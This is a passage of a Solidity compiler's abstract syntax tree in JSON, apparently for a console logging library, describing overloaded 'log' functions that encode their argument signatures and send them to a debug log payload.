3","nameLocation":"45760:2:15","nodeType":"VariableDeclaration","scope":28986,"src":"45755:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28970,"name":"bool","nodeType":"ElementaryTypeName","src":"45755:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"45721:42:15"},"returnParameters":{"id":28973,"nodeType":"ParameterList","parameters":[],"src":"45778:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29009,"nodeType":"FunctionDefinition","src":"45891:182:15","nodes":[],"body":{"id":29008,"nodeType":"Block","src":"45963:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c75696e743235362c6164647265737329","id":29000,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46013:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_00dd87b926eb0a94d5705f2c40026359b9577dfd5ddb2d0d51c86b3f4acb5010","typeString":"literal_string \"log(bool,uint256,uint256,address)\""},"value":"log(bool,uint256,uint256,address)"},{"id":29001,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28988,"src":"46050:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29002,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28990,"src":"46054:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29003,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28992,"src":"46058:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29004,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28994,"src":"46062:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_00dd87b926eb0a94d5705f2c40026359b9577dfd5ddb2d0d51c86b3f4acb5010","typeString":"literal_string \"log(bool,uint256,uint256,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28998,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45989:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28999,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45993:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45989:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45989:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28997,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"45973:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29006,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45973:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29007,"nodeType":"ExpressionStatement","src":"45973:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45900:3:15","parameters":{"id":28995,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28988,"mutability":"mutable","name":"p0","nameLocation":"45909:2:15","nodeType":"VariableDeclaration","scope":29009,"src":"45904:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28987,"name":"bool","nodeType":"ElementaryTypeName","src":"45904:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28990,"mutability":"mutable","name":"p1","nameLocation":"45921:2:15","nodeType":"VariableDeclaration","scope":29009,"src":"45913:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28989,"name":"uint256","nodeType":"ElementaryTypeName","src":"45913:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28992,"mutability":"mutable","name":"p2","nameLocation":"45933:2:15","nodeType":"VariableDeclaration","scope":29009,"src":"45925:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28991,"name":"uint256","nodeType":"ElementaryTypeName","src":"45925:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28994,"mutability":"mutable","name":"p3","nameLocation":"45945:2:15","nodeType":"VariableDeclaration","scope":29009,"src":"45937:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28993,"name":"address","nodeType":"ElementaryTypeName","src":"45937:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"45903:45:15"},"returnParameters":{"id":28996,"nodeType":"ParameterList","parameters":[],"src":"45963:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29032,"nodeType":"FunctionDefinition","src":"46079:187:15","nodes":[],"body":{"id":29031,"nodeType":"Block","src":"46157:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c737472696e672c75696e7432353629","id":29023,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46207:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6a1199e21848ce015eabd66ea7f6a3409c7fc6ef9bb322d84e4c06706c42747e","typeString":"literal_string \"log(bool,uint256,string,uint256)\""},"value":"log(bool,uint256,string,uint256)"},{"id":29024,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29011,"src":"46243:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29025,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29013,"src":"46247:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29026,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29015,"src":"46251:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29027,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29017,"src":"46255:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6a1199e21848ce015eabd66ea7f6a3409c7fc6ef9bb322d84e4c06706c42747e","typeString":"literal_string \"log(bool,uint256,string,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29021,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46183:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29022,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46187:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46183:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29028,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46183:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29020,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"46167:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46167:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29030,"nodeType":"ExpressionStatement","src":"46167:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46088:3:15","parameters":{"id":29018,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29011,"mutability":"mutable","name":"p0","nameLocation":"46097:2:15","nodeType":"VariableDeclaration","scope":29032,"src":"46092:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29010,"name":"bool","nodeType":"ElementaryTypeName","src":"46092:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29013,"mutability":"mutable","name":"p1","nameLocation":"46109:2:15","nodeType":"VariableDeclaration","scope":29032,"src":"46101:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29012,"name":"uint256","nodeType":"ElementaryTypeName","src":"46101:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29015,"mutability":"mutable","name":"p2","nameLocation":"46127:2:15","nodeType":"VariableDeclaration","scope":29032,"src":"46113:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29014,"name":"string","nodeType":"ElementaryTypeName","src":"46113:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29017,"mutability":"mutable","name":"p3","nameLocation":"46139:2:15","nodeType":"VariableDeclaration","scope":29032,"src":"46131:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29016,"name":"uint256","nodeType":"ElementaryTypeName","src":"46131:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"46091:51:15"},"returnParameters":{"id":29019,"nodeType":"ParameterList","parameters":[],"src":"46157:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29055,"nodeType":"FunctionDefinition","src":"46272:192:15","nodes":[],"body":{"id":29054,"nodeType":"Block","src":"46356:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c737472696e672c737472696e6729","id":29046,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46406:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f5bc2249bce1f463dc4a6cae73d4e7be2aab36b6885cd1506575f16575a67f07","typeString":"literal_string \"log(bool,uint256,string,string)\""},"value":"log(bool,uint256,string,string)"},{"id":29047,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29034,"src":"46441:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29048,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29036,"src":"46445:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29049,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29038,"src":"46449:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29050,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29040,"src":"46453:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f5bc2249bce1f463dc4a6cae73d4e7be2aab36b6885cd1506575f16575a67f07","typeString":"literal_string \"log(bool,uint256,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29044,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46382:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29045,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46386:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46382:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46382:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29043,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"46366:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46366:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29053,"nodeType":"ExpressionStatement","src":"46366:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46281:3:15","parameters":{"id":29041,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29034,"mutability":"mutable","name":"p0","nameLocation":"46290:2:15","nodeType":"VariableDeclaration","scope":29055,"src":"46285:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29033,"name":"bool","nodeType":"ElementaryTypeName","src":"46285:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29036,"mutability":"mutable","name":"p1","nameLocation":"46302:2:15","nodeType":"VariableDeclaration","scope":29055,"src":"46294:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29035,"name":"uint256","nodeType":"ElementaryTypeName","src":"46294:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29038,"mutability":"mutable","name":"p2","nameLocation":"46320:2:15","nodeType":"VariableDeclaration","scope":29055,"src":"46306:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29037,"name":"string","nodeType":"ElementaryTypeName","src":"46306:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29040,"mutability":"mutable","name":"p3","nameLocation":"46338:2:15","nodeType":"VariableDeclaration","scope":29055,"src":"46324:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29039,"name":"string","nodeType":"ElementaryTypeName","src":"46324:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"46284:57:15"},"returnParameters":{"id":29042,"nodeType":"ParameterList","parameters":[],"src":"46356:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29078,"nodeType":"FunctionDefinition","src":"46470:181:15","nodes":[],"body":{"id":29077,"nodeType":"Block","src":"46545:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c737472696e672c626f6f6c29","id":29069,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46595:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e5e70b2b79ba63a1232a1075e7d527614bad7291574e41ebeb8ef428426395c2","typeString":"literal_string \"log(bool,uint256,string,bool)\""},"value":"log(bool,uint256,string,bool)"},{"id":29070,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29057,"src":"46628:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29071,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29059,"src":"46632:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29072,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29061,"src":"46636:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29073,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29063,"src":"46640:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e5e70b2b79ba63a1232a1075e7d527614bad7291574e41ebeb8ef428426395c2","typeString":"literal_string \"log(bool,uint256,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29067,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46571:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29068,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46575:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46571:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46571:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29066,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"46555:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29075,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46555:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29076,"nodeType":"ExpressionStatement","src":"46555:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46479:3:15","parameters":{"id":29064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29057,"mutability":"mutable","name":"p0","nameLocation":"46488:2:15","nodeType":"VariableDeclaration","scope":29078,"src":"46483:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29056,"name":"bool","nodeType":"ElementaryTypeName","src":"46483:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29059,"mutability":"mutable","name":"p1","nameLocation":"46500:2:15","nodeType":"VariableDeclaration","scope":29078,"src":"46492:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29058,"name":"uint256","nodeType":"ElementaryTypeName","src":"46492:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29061,"mutability":"mutable","name":"p2","nameLocation":"46518:2:15","nodeType":"VariableDeclaration","scope":29078,"src":"46504:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29060,"name":"string","nodeType":"ElementaryTypeName","src":"46504:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29063,"mutability":"mutable","name":"p3","nameLocation":"46527:2:15","nodeType":"VariableDeclaration","scope":29078,"src":"46522:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29062,"name":"bool","nodeType":"ElementaryTypeName","src":"46522:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"46482:48:15"},"returnParameters":{"id":29065,"nodeType":"ParameterList","parameters":[],"src":"46545:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29101,"nodeType":"FunctionDefinition","src":"46657:187:15","nodes":[],"body":{"id":29100,"nodeType":"Block","src":"46735:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c737472696e672c6164647265737329","id":29092,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46785:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_fedd1fffaad08b0e5474b192f50d84da9ca48f54859d4d4f42d00bf3f4781fab","typeString":"literal_string \"log(bool,uint256,string,address)\""},"value":"log(bool,uint256,string,address)"},{"id":29093,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29080,"src":"46821:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29094,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29082,"src":"46825:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29095,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29084,"src":"46829:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29096,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29086,"src":"46833:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fedd1fffaad08b0e5474b192f50d84da9ca48f54859d4d4f42d00bf3f4781fab","typeString":"literal_string \"log(bool,uint256,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29090,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46761:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29091,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46765:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46761:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46761:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29089,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"46745:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46745:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29099,"nodeType":"ExpressionStatement","src":"46745:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46666:3:15","parameters":{"id":29087,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29080,"mutability":"mutable","name":"p0","nameLocation":"46675:2:15","nodeType":"VariableDeclaration","scope":29101,"src":"46670:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29079,"name":"bool","nodeType":"ElementaryTypeName","src":"46670:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29082,"mutability":"mutable","name":"p1","nameLocation":"46687:2:15","nodeType":"VariableDeclaration","scope":29101,"src":"46679:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29081,"name":"uint256","nodeType":"ElementaryTypeName","src":"46679:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29084,"mutability":"mutable","name":"p2","nameLocation":"46705:2:15","nodeType":"VariableDeclaration","scope":29101,"src":"46691:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29083,"name":"string","nodeType":"ElementaryTypeName","src":"46691:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29086,"mutability":"mutable","name":"p3","nameLocation":"46717:2:15","nodeType":"VariableDeclaration","scope":29101,"src":"46709:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29085,"name":"address","nodeType":"ElementaryTypeName","src":"46709:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"46669:51:15"},"returnParameters":{"id":29088,"nodeType":"ParameterList","parameters":[],"src":"46735:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29124,"nodeType":"FunctionDefinition","src":"46850:176:15","nodes":[],"body":{"id":29123,"nodeType":"Block","src":"46919:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c626f6f6c2c75696e7432353629","id":29115,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46969:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7f9bbca288abffbb423da5759392c2bb0e6c7c60dc55ee1c76da7b38adac1443","typeString":"literal_string \"log(bool,uint256,bool,uint256)\""},"value":"log(bool,uint256,bool,uint256)"},{"id":29116,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29103,"src":"47003:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29117,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29105,"src":"47007:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29118,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29107,"src":"47011:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29119,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29109,"src":"47015:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7f9bbca288abffbb423da5759392c2bb0e6c7c60dc55ee1c76da7b38adac1443","typeString":"literal_string 